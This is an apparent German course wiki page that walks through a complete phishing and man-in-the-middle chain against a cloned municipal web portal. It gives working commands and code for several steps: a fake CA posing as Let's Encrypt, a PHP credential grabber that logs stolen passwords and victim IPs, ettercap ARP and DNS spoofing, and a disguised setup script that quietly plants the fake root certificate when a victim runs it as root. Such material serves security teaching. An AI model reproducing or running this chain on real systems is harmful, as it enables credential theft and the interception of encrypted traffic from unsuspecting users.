Komplette Angriffskette Web Server: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
=Wie wollen Letsencrypt nachbauen= | =Wie wollen Letsencrypt nachbauen= | ||
*CA=fake-ca | *CA=fake-ca | ||
Version vom 17. August 2026, 19:43 Uhr
Wie wollen Letsencrypt nachbauen
- CA=fake-ca
- openssl req -new -x509 -newkey rsa:4096 -nodes -keyout $CA.key -out $CA.crt -days 3650 -subj "/CN=R12 /O=Let's Encrypt /C=US"
Wir wollen ein Xinux Zertifikat erstellen
- Variable gesetzt
- FQDN=www.zweebrigge.de
- Request erstellt
- openssl req -new -newkey rsa:4096 -nodes -keyout $FQDN.key -out $FQDN.csr -subj "/CN=$FQDN"
- Signiert
- openssl x509 -req -days 1460 -in $FQDN.csr -CA $CA.crt -CAkey $CA.key -CAcreateserial -out $FQDN.crt -extfile <(echo "subjectAltName=DNS:$FQDN")
Zertifikate an die richtige Stelle bringen
- Zertifikat der Zertifizierungsstelle zu den Stammzertifikaten der OS hinzufügen.
- sudo cp $CA.crt /usr/local/share/ca-certificates
- sudo update-ca-certificates
Zertifikat und Key des Webservers an die richtige Stelle bringen
- sudo cp $FQDN.crt /etc/apache2/own.crt
- sudo cp $FQDN.key /etc/apache2/own.key
Apache einrichten
- SSL aktivieren
- a2enmod ssl
- Konfiguration
- cat /etc/apache2/sites-enabled/000-default.conf
<IfModule mod_ssl.c>
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/apache2/own.crt
SSLCertificateKeyFile /etc/apache2/own.key
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</IfModule>
- Restart
- sudo systemctl restart apache2
- Check
- sudo ss -lntp | grep 443
LISTEN 0 511 *:443 *:* users: (("apache2",pid=324865,fd=6),("apache2",pid=324864,fd=6), ("apache2",pid=324863,fd=6),("apache2",pid=324862,fd=6),("apache2",pid=324861,fd=6),("apache2",pid=44955,fd=6))
Webseite spiegeln
- cd /var/www/html
- Wir sind Hacker die Rechte sind unrelevant ;-)
- chmod 777 .
- rm -r *
- httrack https://www.zweebrigge.de
- mv www.zweebrigge.de/* .
- rm -r www.zweebrigge.de
Wir bauen eine loot Grabber
- vi login.php
└─# cat login.php
<?php
// --- Credential-Grabber (Kursszenario) ---
// Empfängt die vom geklonten Formular gesendeten Zugangsdaten,
// schreibt sie mit Zeitstempel und Opfer-IP in eine Logdatei
// und zeigt dem Opfer eine Störungsmeldung.
$user = $_POST['username'] ?? '';
$pass = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unbekannt';
$zeit = date('Y-m-d H:i:s');
// In Logdatei anhängen (im DocumentRoot)
$zeile = "$zeit | $ip | $user | $pass\n";
file_put_contents('/var/www/html/loot.log', $zeile, FILE_APPEND | LOCK_EX);
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Stadtportal Zweebrigge – Wartung</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
background: linear-gradient(135deg, #1e3a5f 0%, #2c5282 100%);
min-height: 100vh; display: flex; align-items: center; justify-content: center;
color: #1a202c;
}
.card {
background: #fff; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.25);
width: 100%; max-width: 440px; padding: 40px; text-align: center;
}
.icon { font-size: 44px; margin-bottom: 12px; }
h1 { font-size: 20px; color: #1e3a5f; margin-bottom: 12px; }
p { font-size: 14px; color: #4a5568; line-height: 1.6; margin-bottom: 10px; }
.hint { font-size: 13px; color: #718096; margin-top: 18px; }
a {
display: inline-block; margin-top: 24px; padding: 11px 22px;
background: #2c5282; color: #fff; text-decoration: none;
border-radius: 6px; font-size: 14px; font-weight: 600;
}
a:hover { background: #1e3a5f; }
.footer { font-size: 12px; color: #a0aec0; margin-top: 28px; }
</style>
</head>
<body>
<div class="card">
<div class="icon">⚠️</div>
<h1>Dienst vorübergehend nicht verfügbar</h1>
<p>Das Stadtportal ist derzeit aufgrund von Wartungsarbeiten nicht erreichbar.</p>
<p>Bitte versuchen Sie es in einigen Minuten erneut.</p>
<p class="hint">Wir bitten die Unannehmlichkeiten zu entschuldigen.</p>
<a href="index.html">Zurück zur Anmeldung</a>
<div class="footer">© 2026 Stadtverwaltung Zweebrigge</div>
</div>
</body>
</html>
- Die geklauten Credentils landen in
- tail -f /var/www/html/loot.log
Wir spielen den Angriff auf kali einmal durch
- Hosts für die Simulation vorbereiten
- echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
- Fake CA-Zertifkat zu den Stammzertifikaten in Firefox hinzufügen.
host anlegen
- echo -e "$FQDN A 10.0.10.101" > /etc/ettercap/etter.dns
ettercap mit dns plugin starten
- OPFER=10.0.10.77
- ANGREIFER=10.0.10.101
- ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
OPFER
- host www.zweebrigge.de
10.0.10.101
Opfer wird durch einen Köder getäuscht
- cat rocky-setup.sh
#!/bin/bash
# Standardwerte setzen
FQDN=""
ADDR=""
GW=""
NS=""
USE_DHCP=0
IFACE="enp0s3"
# Optionen mit getopts parsen
while getopts "f:a:g:n:d" opt; do
case $opt in
f) FQDN="$OPTARG" ;;
a) ADDR="$OPTARG" ;;
g) GW="$OPTARG" ;;
n) NS="$OPTARG" ;;
d) USE_DHCP=1 ;;
*) echo "Ungültige Option" >&2; exit 1 ;;
esac
done
# Fake-CA in den System-Trust-Store bringen
fake-ca() {
local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt
if [[ ! -f "$anchor" ]]; then
cat <<'HERE' > "$anchor"
-----BEGIN CERTIFICATE-----
MIIFSzCCAzOgAwIBAgIUBqQC23BfFtxEqrflKQ86T2obupkwDQYJKoZIhvcNAQEL
BQAwNTENMAsGA1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJ
BgNVBAYTAlVTMB4XDTI2MDgxNzE4MzgwM1oXDTM2MDgxNDE4MzgwM1owNTENMAsG
A1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJBgNVBAYTAlVT
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzrmKW3eRwGi/164l/8fi
oHRoSFArZZyn1FIOzWBYPeOlNDnO1otuGfi0epuxNmqqErfGVX/9Ksn5gGFBTOxX
tOvcYx40ec14WTe2WeqbCYc9F5zMgtnZJDlmi8/99K15oSKfKzznMmxSjxo3QB1A
6gqWLF0kIS82kxta98bD69sl2naylGR0OfyXEemot0XxbDtjlzqtJ7uy5151AQyj
i8I68KGQaXCTzY+RhF0Cw/9NIjLvgzxaDgvimF4dtzZi/3OURzagTGycACWRRK0K
DTa2xGT+lmfwHZAmMq97lFXaLrKXHFiulqnhwlG1u858iuYQU7J5s48foACxjOsE
ohKjH6FniAGn1l9LXhIG4+e4xUbrxpsynxBFa4J6ufs5vJG72AMSYPfypqXwFr1r
zfuC9cAnuwDMXUzFY+FUkPBCCQyvwsmayVtvbR5c99H0Z2mJN0l0lUNf5ScuHl6k
XYQbZy+XEy+mz8KA9cgagxk3epHR7+LKusptinHKU3q+yus9uqNSxNefQaltAwOS
TnuJVP6gtabXqcIPS81e9zyyD4tz3RBbKOIuFu5uejbKaZaBjtwbByhchJ8vtRn+
i5yLNjT0lx4m0Twc43LGEYgtRbu2jqoC2z/eP3ytMdtAn35crqluKMto/o74yVAC
GiiFZXqddHujkH0u/vN+ISECAwEAAaNTMFEwHQYDVR0OBBYEFDbT2gEhhiQ8Qo6X
rlcmmTero9oBMB8GA1UdIwQYMBaAFDbT2gEhhiQ8Qo6XrlcmmTero9oBMA8GA1Ud
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAFo9JEA2y5Qhf8qu7sAsCHIf
vuVJoQZJ/I2J2P5A6Hp3cm1kcINcJDlEMS5dLeFU0233TfnsLabjURDaLEmRgdD+
kxDuXOK/lohjY4MvNGuCMxEtmm/up08y2MHOpZPzSs8wIXZJK8NaUO8Dr3pnAnb3
3983jD877+mBzEf0FIoJfq5iWLidKJQTRz8UP/WY4vGrh+nw5J8sI29QEe9oCvtT
ZqfmXx5hVuW/l5pQ5VFrJc25XcXCE5f8ajnJEbG3qL0We+SaWrpatUGSgMIqklKT
JGtZ9SYd0KlosIR8GI6w8vO/Fz35go3ODCC1Sdlqdzm0dOuwjVkuC5rrlpz3icx2
Y0aKSqEiPP0sXGjfEUXleVspzG7yR7DLZBrmw6NXyqjv620QRUGRaLwsD+cGo0lm
vG8gGLeXvGcsR/BaEFrKomf99uCoKkO2KZhn91beypIcUCAYmj+YpF15sOK0ot/O
9d3p7XaIgxq2K9fwon7vpEW804eWR8bF5vQCaOByDV6NlBrpAFbKxmxhbVbyHblY
YTt/xOevOQBZH9oc31Y4Sw01a44zKMvbQTrberCt712bi1jWz2UrKSSxx8pbi5uS
LViicxybqMZq7MKykVNlDFj0Ut5wqX42UaTgWHOORrDRHG3xE1Jn2X0cJFC6eASk
/+MfaP2OZy0vBhSj1rLI
-----END CERTIFICATE-----
HERE
update-ca-trust
fi
}
# Fake-CA einspielen
fake-ca
# Gültigkeit prüfen
if [[ -z "$FQDN" ]]; then
echo "Fehlender FQDN! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
if (( USE_DHCP == 1 )); then
if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then
echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2
exit 1
fi
else
if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then
echo "Fehlende Argumente für statische Konfiguration! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
fi
# Hostname setzen
hostnamectl set-hostname "$FQDN"
# Alte NM-Verbindung löschen
nmcli connection delete "$IFACE" >/dev/null 2>&1
# DHCP- oder statische Konfiguration
if (( USE_DHCP == 1 )); then
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore
else
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \
ipv4.method manual \
ipv4.addresses "$ADDR" \
ipv4.gateway "$GW" \
ipv4.dns "$NS" \
ipv6.method ignore
fi
# Verbindung aktivieren
nmcli connection up "$IFACE"
Download vorbereiten
- python3 -m http.server
Opfer lädt Köder nach Anweisungen runter
- sudo -i
- cd /usr/local/sbin
- wget http://10.0.0.101:8000/rocky-setup.sh
- chmod +x rocky-setup.sh
User führt Skript einmal aus
- rocky-setup.sh
Fehlender FQDN! Nutzung: rocky-setup-mod.sh -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]